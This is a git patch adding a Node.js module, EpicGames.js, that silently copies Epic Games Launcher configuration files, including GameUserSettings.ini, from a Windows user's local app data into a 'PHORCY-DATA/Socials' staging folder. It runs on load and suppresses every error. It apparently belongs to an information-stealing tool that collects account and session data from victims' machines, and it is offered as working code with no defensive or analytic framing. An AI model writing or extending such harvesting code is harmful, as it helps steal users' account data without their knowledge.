From 5f07572871cea7aa872e456f461225bc08421513 Mon Sep 17 00:00:00 2001 From: Synthetic <130696187+syntheticlol@users.noreply.github.com> Date: Fri, 24 Nov 2023 12:28:21 -0500 Subject: [PATCH] Create EpicGames.js --- Utils/EpicGames.js | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 Utils/EpicGames.js diff --git a/Utils/EpicGames.js b/Utils/EpicGames.js new file mode 100644 index 0000000..dc298f4 --- /dev/null +++ b/Utils/EpicGames.js @@ -0,0 +1,33 @@ +const fsp = require('fs').promises; +const path = require('path'); + +const config = { + mainfold: 'PHORCY-DATA', + local: process.env.LOCALAPPDATA || '', +}; +async function seg(config) { + try { + const eP = path.join(config.local, 'EpicGamesLauncher', 'Saved', 'Config', 'Windows'); + const cpth = path.join(config.mainfold, 'Socials', 'EPICGAMES'); + await fsp.mkdir(cpth, { recursive: true }); + const ftc = [ + 'Compat.ini', + 'DeviceProfiles.ini', + 'Engine.ini', + 'Game.ini', + 'GameUserSettings.ini', + 'Hardware.ini', + 'Input.ini', + 'Lightmass.ini', + 'PortalRegions.ini', + 'RuntimeOptions.ini', + ]; + await Promise.all(ftc.map(async (file) => { + const sfp = path.join(eP, file); + const dfp = path.join(cpth, file); + await fsp.copyFile(sfp, dfp); + })); + } catch (error) { + } +} +seg(config);